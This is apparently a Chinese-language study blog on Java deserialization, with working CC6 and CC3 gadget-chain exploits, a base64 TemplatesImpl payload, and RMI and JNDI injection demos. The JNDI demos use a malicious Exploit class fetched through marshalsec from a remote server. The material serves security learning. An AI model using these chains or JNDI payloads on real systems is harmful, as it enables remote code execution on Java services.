CC6、CC3、RMI简单入门、JNDI入门 (之后先去学一下fastjson反序列化
CC6 为了解决CC1在高版本jdk中不适用的局限,我们来审计一下没有版本限制的CC6
这次就先不跟着P神了!
ysoserial的Gadget chain
1 2 3 4 5 6 7 8 9 Gadget chain: java.io.ObjectInputStream.readObject() java.util.HashSet.readObject() java.util.HashMap.put() java.util.HashMap.hash() org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode() org.apache.commons.collections.keyvalue.TiedMapEntry.getValue() org.apache.commons.collections.map.LazyMap.get() ···
ysoserial poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 public class CommonsCollections6 extends PayloadRunner implements ObjectPayload <Serializable > { public Serializable getObject (final String command) throws Exception { final String[] execArgs = new String[] { command }; final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, execArgs), new ConstantTransformer(1 ) }; Transformer transformerChain = new ChainedTransformer(transformers); final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo" ); HashSet map = new HashSet(1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = (Object[]) f2.get(innimpl); Object node = array[0 ]; if (node == null ){ node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); }catch (Exception e){ keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections6.class, args); } }
利用到了新的类TiedMapEntry
,那就先去浅浅了解一下
TiedMapEntry 1 2 3 4 5 6 public TiedMapEntry (Map map, Object key) { this .map = map; this .key = key; }
1 2 3 public Object getValue () { return this .map.get(this .key); }
1 2 3 4 public int hashCode () { Object value = this .getValue(); return (this .getKey() == null ? 0 : this .getKey().hashCode()) ^ (value == null ? 0 : value.hashCode()); }
所以在TiedMapEntry
上面的逻辑很明显,就是外面调用TiedMapEntry#hashCode
=>TiedMapEntry#getValue
=>LazyMap#get
HashSet 1 2 3 public HashSet (int initialCapacity) { map = new HashMap<>(initialCapacity); }
1 2 3 public boolean add (E e) { return map.put(e, PRESENT)==null ; }
然后可以发现的readObject中有(HashMap)map.put(e,PRESENT)
,所以我们可以将TiedMapEntry
传进去,从而调用到了TiedMapEntry#hashCode
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); ··· ··· for (int i=0 ; i<size; i++) { @SuppressWarnings("unchecked") E e = (E) s.readObject(); map.put(e, PRESENT); } }
P神のchain
和ysoserial相比,P神把HashSet
删掉了,因为在HashMap
的readObject
中就会直接调用hash
,所以当我们把TiedMapEntry
当作key传入之后也就是会直接调用TiedMapEntry.hashCode()
,直接完成了这条链子
直接编写这条链子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 package ysoserial.payloads;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class CC6ForP { public static void main (String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] fakeTransformers = new Transformer[]{ new ConstantTransformer(1 )}; Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[]{String.class,Class[].class}, new Object[]{"getRuntime" ,new Class[0 ]} ), new InvokerTransformer("invoke" ,new Class[]{ Object.class,Object[].class },new Object[]{null ,new Object[0 ]}), new InvokerTransformer("exec" ,new Class[]{String.class},new String[]{"calc" }), new ConstantTransformer(1 ), }; Transformer transformerChain = new ChainedTransformer(fakeTransformers); Map innerMap = new HashMap(); Map outerMap = LazyMap.decorate(innerMap, transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "aa" ); Map expMap = new HashMap(); expMap.put(tiedMapEntry, "bb" ); outerMap.remove("aa" ); Field field = ChainedTransformer.class.getDeclaredField("iTransformers" ); field.setAccessible(true ); field.set(transformerChain,transformers); ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(expMap); oos.close(); System.out.println(barr); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object o = (Object)ois.readObject(); } }
小结 总的来说CC6理解起来并不难,但是ysoserial有一部分代码的作用大概能理解,但是其中具体的逻辑还没有厘清
CC3 (<8u71
照样这次先自己学着看ysoserial的payload,不懂再看P神的讲解
利用TemplatesImpl加载字节码 在仔细分析链子之前,我们先来学一下TemplatesImpl
类
字节码 首先学习一下字节码是什么
严格来说,java字节码其实仅仅指的是Java虚拟机执行使用的一类指令,通常被存储在.class文件中;总所周知,java是可以跨平台的,只要代码被编译成字节码文件(.class文件)就可以在java虚拟机中运行
ClassLoader#defineClass
loadClass 的作用是从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机 制),在前面没有找到的情况下,执行 findClass
findClass 的作用是根据基础URL指定的方式来加载类的字节码,就像上一节中说到的,可能会在 本地文件系统、jar包或远程http服务器上读取字节码,然后交给 defineClass
defineClass 的作用是处理前面传入的字节码,将其处理成真正的Java类
注意一点,在 defineClass 被调用的时候,类对象是不会被初始化的,只有这个对象显式地调用其构造 函数,初始化代码才能被执行。而且,即使我们将初始化代码放在类的static块中(在本系列文章第一篇 中进行过说明),在 defineClass 时也无法被直接调用到。所以,如果我们要使用 defineClass 在目 标机器上执行任意代码,需要想办法调用构造函数。
TemplatesImpl 在利用TemplatesImpl构造攻击链的时候就会涉及到defineClass
定义了一个内部类,继承于ClassLoader,在这里还重写了defineClass
,默认为default
1 2 3 4 5 6 7 8 9 10 11 12 static final class TransletClassLoader extends ClassLoader { private final Map<String,Class> _loadedExternalExtensionFunctions; …… Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); } }
并且在·TemplatesImpl#defineTransletClasses
会存在调用,而_bytecodes
又是我们可控的,而defineTransletClasses
域是public,所以是可以在外部进行调用的
1 2 3 4 5 6 7 8 9 10 11 12 for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } }
然后可以在TemplatesImpl#getTransletInstance
发现对defineTransletClasses
的调用,但是这个方法是private,再继续跟进调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } …… }
可以发现最开始调用的都是public
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 public synchronized Transformer newTransformer () throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl(getTransletInstance(), _outputProperties, _indentNumber, _tfactory); …… } public synchronized Properties getOutputProperties () { try { return newTransformer().getOutputProperties(); } catch (TransformerConfigurationException e) { return null ; } }
调用链:
1 2 3 4 5 TemplatesImpl#getOutputProperties() TemplatesImpl#newTransformer() TemplatesImpl#getTransletInstance() TemplatesImpl#defineTransletClasses() TransletClassLoader#defineClass()
例子:
另外,值得注意的是, TemplatesImpl 中对加载的字节码是有一定要求的:这个字节码对应的类必须 是 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类。
所以我们可以先写一个类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 package TpmlDemo;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class HelloTpml extends AbstractTranslet { @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public HelloTpml () throws Exception { super (); Runtime.getRuntime().exec("calc" ); } }
编译生成字节码文件,并将字节码传到前面我们向利用的defineClass
中,再写一个调用的类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.lang.reflect.Field;import java.util.Base64;public class Define { public static void main (String[] args) throws Exception { byte [] code = Base64.getDecoder().decode("yv66vgAAADQAJAoABwAWCgAXABgIABkKABcAGgcAGwcAHAcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAeAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgEADVN0YWNrTWFwVGFibGUHABwHABsBAApTb3VyY2VGaWxlAQALSGVsbG9ULmphdmEMAA8AEAcAHwwAIAAhAQAEY2FsYwwAIgAjAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEABkhlbGxvVAEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABgAHAAAAAAADAAEACAAJAAIACgAAABkAAAADAAAAAbEAAAABAAsAAAAGAAEAAAAMAAwAAAAEAAEADQABAAgADgACAAoAAAAZAAAABAAAAAGxAAAAAQALAAAABgABAAAAEQAMAAAABAABAA0AAQAPABAAAQAKAAAAWAACAAIAAAASKrcAAbgAAhIDtgAEV6cABEyxAAEABAANABAABQACAAsAAAAWAAUAAAAUAAQAFwANABsAEAAZABEAHAARAAAAEAAC/wAQAAEHABIAAQcAEwAAAQAUAAAAAgAV" ); TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes" , new byte [][] {code}); setFieldValue(obj, "_name" , "null" ); setFieldValue(obj, "_tfactory" , new TransformerFactoryImpl()); obj.newTransformer(); } private static void setFieldValue (TemplatesImpl obj, String bytecodes, Object o) throws Exception { Field field = obj.getClass().getDeclaredField(bytecodes); field.setAccessible(true ); field.set(obj,o); } }
Ysoserial
基于CC1修改的CC3 主要是把InvokeTransformers换成了InstantiateTransformer
因为官方对于ysoserial出了过滤器,将InvokeTransformers放入了黑名单里
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public class CommonsCollections3 extends PayloadRunner implements ObjectPayload <Object > { public Object getObject (final String command) throws Exception { Object templatesImpl = Gadgets.createTemplatesImpl(command); final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1 ) }); final Transformer[] transformers = new Transformer[] { new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer( new Class[] { Templates.class }, new Object[] { templatesImpl } )}; final Map innerMap = new HashMap(); final Map lazyMap = LazyMap.decorate(innerMap, transformerChain); final Map mapProxy = Gadgets.createMemoitizedProxy(lazyMap, Map.class); final InvocationHandler handler = Gadgets.createMemoizedInvocationHandler(mapProxy); Reflections.setFieldValue(transformerChain, "iTransformers" , transformers); return handler; } public static void main (final String[] args) throws Exception { PayloadRunner.run(CommonsCollections3.class, args); } public static boolean isApplicableJavaVersion () { return JavaVersion.isAnnInvHUniversalMethodImpl(); } }
1 2 3 4 public InstantiateTransformer (Class[] paramTypes, Object[] args) { this .iParamTypes = paramTypes; this .iArgs = args; }
根据链子,最后面调用的应该是transform
,这里调用了某个类的构造方法,打断点调试的时候发现input的值是com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
1 2 3 4 5 6 7 8 9 10 11 public Object transform (Object input) { try { if (!(input instanceof Class)) { throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } else { Constructor con = ((Class)input).getConstructor(this .iParamTypes); return con.newInstance(this .iArgs); } } …… }
TrAXFilter 他的构造方法实现了(TransformerImpl) templates.newTransformer()
,就直接实现了先调用TemplatesImpl#newTransformer
,从而完成整个链子,而字节码是在Gadgets#createTemplatesImpl
中形成的
1 2 3 4 5 6 7 8 public TrAXFilter (Templates templates) throws TransformerConfigurationException { _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl(_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
RMI简单入门 RMI(Remote Method Invocation),远程方法调用,是Java独有的一种机制,允许运行在一个Java虚拟机的对象调用另一个Java虚拟机上对象的方法
基础 RMI和RPC类似,但RPC作为C语言的一个分支,主要关注数据结构,而RMI不仅使用数据结构,还会适用对象
在一个对象可以与RMI一起使用之前,这个对象必须是可序列化的(RMI的传输时基于反序列化的)。RMI的远程对象是通过引用传递的,而非远程对象是通过复制传递
对于任何一个以对象为参数的RMI接口,都可以发一个自己构建的对象,迫使服务器端将这个对象按任何一个存在于服务端classpath中的可序列化类来反序列化恢复对象
三个主体:
1.Client 客户端
2.Server 服务端
3.Registry 注册中心
RMI Server 分成三部分
一个继承java.rmi.Remote
的接口,其中定义我们要远程调用的函数,并且每个方法必须要抛出java.rmi.RemoteException
一个实现此接口的类,通常都会扩展java.rmi.UnicastRemoteObject
一个主类,用来创建Registry,并将上面的类实例化之后绑定到一个地址
存根和骨架
用于远程对象的实现。
存根(stub)是想调用的方法的对象所代理的本地代码;
骨架(skeleton)从存根接收远程方法调用并将它们传递给对象
RMI Registry
主要流程:
RMI Registry就像⼀个⽹关,他⾃⼰是不会执⾏远程⽅法的,但RMI Server可以在上⾯注册⼀个Name到对象的绑定关系;RMI Client通过Name向RMI Registry查询,得到这个绑定关系,然后再连接RMI Server;最后,远程⽅法实际上在RMI Server上调⽤。
例子:
首先创建一个扩展了Remote的接口,并声明一个我们需要调用的方法,记得抛出RemoteException
1 2 3 4 5 6 import java.rmi.Remote;import java.rmi.RemoteException;public interface RmiInterface extends Remote { public String hello (String param) throws RemoteException ; }
创建一个实现该接口的类,并且继承了UnicastRemoteObject
,重写方法,并在这里建立Registry
并向注册建立远程对象,将对象实例和Registry的hello
绑定在一起
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;import java.rmi.server.UnicastRemoteObject;public class HelloHandler extends UnicastRemoteObject implements RmiInterface { private String hello = "Hello: " ; protected HelloHandler () throws RemoteException { } @Override public String hello (String param) throws RemoteException { return hello+param; } public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); RmiInterface rmiInterface = new HelloHandler(); registry.bind("hello" ,rmiInterface); } }
客户端:通过LocateRegistry.getRegistry
访问远程的registry对象,并通过lookup方法找到绑定了对象实例的skeleton,然后调用相应的方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class Client { public static void main (String[] args) { try { Registry registry = LocateRegistry.getRegistry("127.0.0.1" ,1099 ); RmiInterface rmiInterface = (RmiInterface) registry.lookup("hello" ); String name = "Ameuu" ; System.out.println(rmiInterface.hello(name)); } catch (Exception e) { e.printStackTrace(); } } }
RMI安全 我们仅从客户端角度来看一下RMI: 客户端连接Registry
并去寻找某个Name,从而找到其绑定的对象实例,然后去调用这个远程对象的某个方法
那么:
如果我们能访问RMI Registry服务,如何对其攻击?
如果我们控制了目标RMI客户端中 Naming.lookup 的第一个参数(也就是RMI Registry的地 址),能不能进行攻击?
攻击Registry Java对远程访问RMI Registry做了限制,只有来源地址是localhost的时候,才能调用rebind、 bind、unbind等方法。
但是可以通过list获取目标上绑定的所有对象、通过lookup获取某个对象
BaRMIe
codebase执行任意代码 codebase 是一个地址,在RMI流程中,客户端和服务端直接传递的是序列化的对象,在反序列化的时候会去找相应的类进行实例化,而如果在本地找不到的时候机会自动去codebase里面找,而相应的就产生了问题,如果codebase是我们可以利用的,那么有可能可以加载恶意类
条件:
安装并配置了SecurityManager
Java版本低于7u21、6u45,或者设置了java.rmi.useCodebaseOnly=false,因为在java7u21、6u45的时候修改默认设置java.rmi.useCodebaseOnly=true,这使得java虚拟机只信任预先配置好的codebase
,不再支持从RMI请求中获取
例子(代码来自P神:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import java.rmi.Remote;import java.rmi.RemoteException;import java.util.List;public interface ICalc extends Remote { public Integer sum (List<Integer> params) throws RemoteException ; } import java.rmi.Remote;import java.rmi.RemoteException;import java.util.List;import java.rmi.server.UnicastRemoteObject;public class Calc extends UnicastRemoteObject implements ICalc { public Calc () throws RemoteException {} public Integer sum (List<Integer> params) throws RemoteException { Integer sum = 0 ; for (Integer param : params) { sum += param; } return sum; } } import java.rmi.Naming;import java.rmi.Remote;import java.rmi.RemoteException;import java.rmi.registry.LocateRegistry;import java.rmi.server.UnicastRemoteObject;import java.util.List;public class RemoteRMIServer { private void start () throws Exception { if (System.getSecurityManager() == null ) { System.out.println("setup SecurityManager" ); System.setSecurityManager(new SecurityManager()); } Calc h = new Calc(); LocateRegistry.createRegistry(1099 ); Naming.rebind("refObj" , h); } public static void main (String[] args) throws Exception { new RemoteRMIServer().start(); } } grant { permission java.security.AllPermission; };
编译并配置参数:
1 2 javac *.java java -D java.rmi.server.hostname=192.168.64.1 -D java.rmi.server.useCodebaseOnly=false -D java.security.policy=client.policy RemoteRMIServer
其中java.rmi.server.hostname
为服务器的IP地址,远程调用时需要根据这个值来访问RMI Server。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.rmi.Naming;import java.util.List;import java.util.ArrayList;import java.io.Serializable;public class RMIClient implements Serializable { public class Payload extends ArrayList <Integer > {} public void lookup () throws Exception { ICalc r = (ICalc) Naming.lookup("rmi://192.168.135.142:1099/refObj" ); List<Integer> li = new Payload(); li.add(3 ); li.add(4 ); System.out.println(r.sum(li)); } public static void main (String[] args) throws Exception { new RMIClient().lookup(); } }
运行:
1 2 java -D java.rmi.server.useCodebaseOnly=false - D java.rmi.server.codebase=http://example.com/RMIClient
在最开始就报错了 所以复现就先搁置了 不过这个代码执行的方法条件比较苛刻 也不常用(大概
JNDI入门 JNDI(Java Naming and Directory Interface),是SUN公司提供的⼀种标准的Java命名系统接⼝ 。为开发⼈员提供了查找和访问各种命名和⽬录服务的通⽤、统⼀的接⼝,类似JDBC都是构建在抽象层上。 现在JNDI已经成为J2EE的标准之⼀,所有的J2EE容器都必须提供⼀个JNDI的服务。
通过返回Reference和调用lookup获得相应的数据源。
Naming Service
命名服务,将名称与值相关联的实体,称为“绑定”。提供了一种使用“find”或“search”操作来根据名称查找对象的便捷方式,就比如上面学RMI的时候根据Name
去获取对应的对象
Directory Service
一种特殊的命名服务,允许存储了搜索“目录对象”
使用JNDI必须要有服务提供方
一些服务接口:
LDAP 轻量级目录访问协议
CORBA 公共对象请求代理结构服务
RMI 远程方法调用
DNS 域名服务
在JNDI注入中涉及最多的是LDAP、RMI
RMI
工厂模式
会利用到codebase
在java7u21、6u45、8u113 的时候修改默认设置java.rmi.useCodebaseOnly=true
环境:jdk8u112
Reference 存储类名,工厂名以及加载工厂的未知,都可以通过对应的get获取
1 2 3 4 5 public Reference (String className, String factory, String factoryLocation) { this (className); classFactory = factory; classFactoryLocation = factoryLocation; }
ReferenceWrapper RMI服务中实现了RemoteReference
的类,单纯地获取Reference
并返回Reference
1 2 3 4 5 6 7 8 public ReferenceWrapper (Reference var1) throws NamingException, RemoteException { this .wrappee = var1; } public Reference getReference () throws RemoteException { return this .wrappee; } }
Demo Exploit类(恶意类 要实现ObjectFactory
接口
编译之后放在http://127.0.0.1:8000
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory { private String cmd; static { System.out.println("hello ameuu" ); try { Runtime.getRuntime().exec("calc" ); } catch (IOException e) { e.printStackTrace(); } } @Override public Object getObjectInstance (Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { return null ; } }
服务 Server 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class JNDIServer { public static void main (String[] args) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference reference = new Reference("Exploit" ,"Exploit" ,"http://127.0.0.1:8000/" ); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("Exploit" , referenceWrapper); } }
受害者 JNDI客户端 可以通过Properties
设置环境变量
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 package JNDI.RMI;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Properties;public class JNDIClient { public static void main (String[] args) throws NamingException { Properties env = new Properties(); env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory" ); env.put(Context.PROVIDER_URL,"rmi://127.0.0.1:1099/" ); Context context = new InitialContext(env); context.lookup("Exploit" ); } }
所以攻击流程应该是传入恶意的RMI URL给客户端,通过lookup连接到由我们控制的注册中心,获取到恶意的Reference,然后解析Reference获取相应的我们写入的恶意的Factory类从而实现rce
解析流程 调用栈:
1 2 3 4 5 6 7 8 9 getObjectFactoryFromReference:160, NamingManager getObjectInstance:319, NamingManager decodeObject:464, RegistryContext …… lookup:-1, RegistryImpl_Stub lookup:118, RegistryContext lookup:128, RegistryContext lookup:417, InitialContext main:15, JNDIClient
在InitialContext
中已经将我们设置的变量放到了对应的变量中
在InitialContext#lookup
中会调用到defaultInitCtx#lookup
,从而调用了RegistryContext#lookup
,之后就是根据我们初始化的内容进入到注册中心通过RegistryImpl_Stub#lookup
获取注册中心中Name
所对应的对象,也就是referenceWrapper
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 public Remote lookup (String var1) throws AccessException, NotBoundException, RemoteException { try { RemoteCall var2 = super .ref.newCall(this , operations, 2 , 4905912898345647071L ); try { ObjectOutput var3 = var2.getOutputStream(); var3.writeObject(var1); } catch (IOException var18) { throw new MarshalException("error marshalling arguments" , var18); } super .ref.invoke(var2); Remote var23; try { ObjectInput var6 = var2.getInputStream(); var23 = (Remote)var6.readObject(); } catch (IOException var15) { throw new UnmarshalException("error unmarshalling return" , var15); } catch (ClassNotFoundException var16) { throw new UnmarshalException("error unmarshalling return" , var16); } finally { super .ref.done(var2); } return var23; } catch (RuntimeException var19) { throw var19; } catch (RemoteException var20) { throw var20; } catch (NotBoundException var21) { throw var21; } catch (Exception var22) { throw new UnexpectedException("undeclared checked exception" , var22); } }
之后通过RegistryContext#decodeObject
1 2 3 4 5 6 private Object decodeObject (Remote var1, Name var2) throws NamingException { try { Object var3 = var1 instanceof RemoteReference ? ((RemoteReference)var1).getReference() : var1; return NamingManager.getObjectInstance(var3, var2, this , this .environment); } …… }
然后在NamingManager#getObjectInstance
中根据Reference获取Factory
这里codebase的值就成了我们传进去的带有恶意类的url
之后通过loadClass
对类进行加载,运行了Exploit中的静态代码实现RCE
LDAP
使用范围更广
需要:com.sun.jndi.ldap.object.trustURLCodebase 为 true , JDK 11.0.1 、 8u191 、 7u201 、 6u211 开始默认为 false
攻击流程:
攻击者为易受攻击的JNDI lookup提供了一个绝对的 LDAP URL
服务器连接到由攻击者控制的LDAP服务器,该服务器返回恶意JNDI Reference
服务器解码JNDI Reference
服务器从攻击者控制的服务器获取Factory类
服务器实例化Factory类,实现RCE
用marshalsec开一个服务,将Exploit类编译之后放到vps上,然后用python在对应的目录下开启服务
1 python3 -m http.server --bind 0.0.0.0 8000
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://82.156.2.166:8888/#Exploit' 9000
客户端:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package JNDI.RMI;import com.sun.jndi.rmi.registry.RegistryContext;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import java.util.Properties;public class JNDIClient { public static void main (String[] args) throws NamingException { Context context = new InitialContext(); context.lookup("ldap://82.156.2.166:9000/Exploit" ); } }
工具运用 可以利用工具搭建服务端
marshalsec marshalsec
命令格式:
1 java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec.<Marshaller> [-a] [-v] [-t] [<gadget_type> [<arguments...>]]
RMI:
1 java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#ExportObject 1099
LDAP:
1 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer 'http://127.0.0.1:8888/#Exploit' 9000
……
小结
FaIth4444师傅的总结
Reference 代码审计星球
少走弯路之marshalsec的编译(RMI必备工具) - 铺哩 - 博客园 (cnblogs.com)
https://www.freebuf.com/articles/web/317622.html
https://paper.seebug.org/1091/#jndildap
https://blog.csdn.net/whatday/article/details/107942941